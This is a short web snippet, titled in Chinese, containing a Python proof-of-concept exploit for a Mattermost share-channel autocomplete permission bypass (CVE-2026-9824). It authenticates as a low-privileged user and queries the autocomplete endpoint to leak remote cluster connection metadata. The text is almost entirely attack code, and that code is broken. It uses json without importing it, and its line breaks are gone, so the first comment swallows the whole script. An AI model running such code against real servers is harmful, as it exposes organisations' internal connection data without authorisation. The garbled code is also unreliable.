CVE-2026-9824 Mattermost共享频道自动补全权限绕过漏洞

# CVE-2026-9824 PoC - Mattermost Share-Channel Autocomplete Permission Bypass # This PoC demonstrates how a low-privileged authenticated user can enumerate # remote cluster connection metadata via the /share-channel autocomplete handler # without possessing the manage_shared_channels permission. import requests # Mattermost server configuration MATTERMOST_URL = "https://your-mattermost-instance.com" USERNAME = "low_privileged_user" PASSWORD = "user_password" # Step 1: Authenticate to obtain a session token session = requests.Session() login_url = f"{MATTERMOST_URL}/api/v4/users/login" login_data = { "login_id": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) token = response.headers.get("Token") if not token: print("[-] Authentication failed") exit(1) print(f"[+] Authenticated successfully. Token: {token[:20]}...") # Step 2: Trigger the /share-channel autocomplete handler # The vulnerability exists because the server fails to check # the manage_shared_channels permission before returning remote # cluster connection metadata. autocomplete_url = f"{MATTERMOST_URL}/api/v4/commands/autocomplete" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Send autocomplete request for /share-channel command payload = { "channel_id": "any_channel_id", "team_id": "target_team_id", "command": "/share-channel", "args": "", "query": "" } response = session.post(autocomplete_url, json=payload, headers=headers) if response.status_code == 200: data = response.json() print("[+] Autocomplete response received (permission check bypassed!):") print(json.dumps(data, indent=2)) # Extract remote cluster connection metadata for suggestion in data.get("suggestions", []): if "remote" in suggestion.get("Suggestion", "").lower(): print(f"[+] Leaked remote cluster info: {suggestion}") else: print(f"[-] Request failed with status: {response.status_code}") # Note: In a patched version, this request should return a permission # denied error (403) for users without manage_shared_channels permission.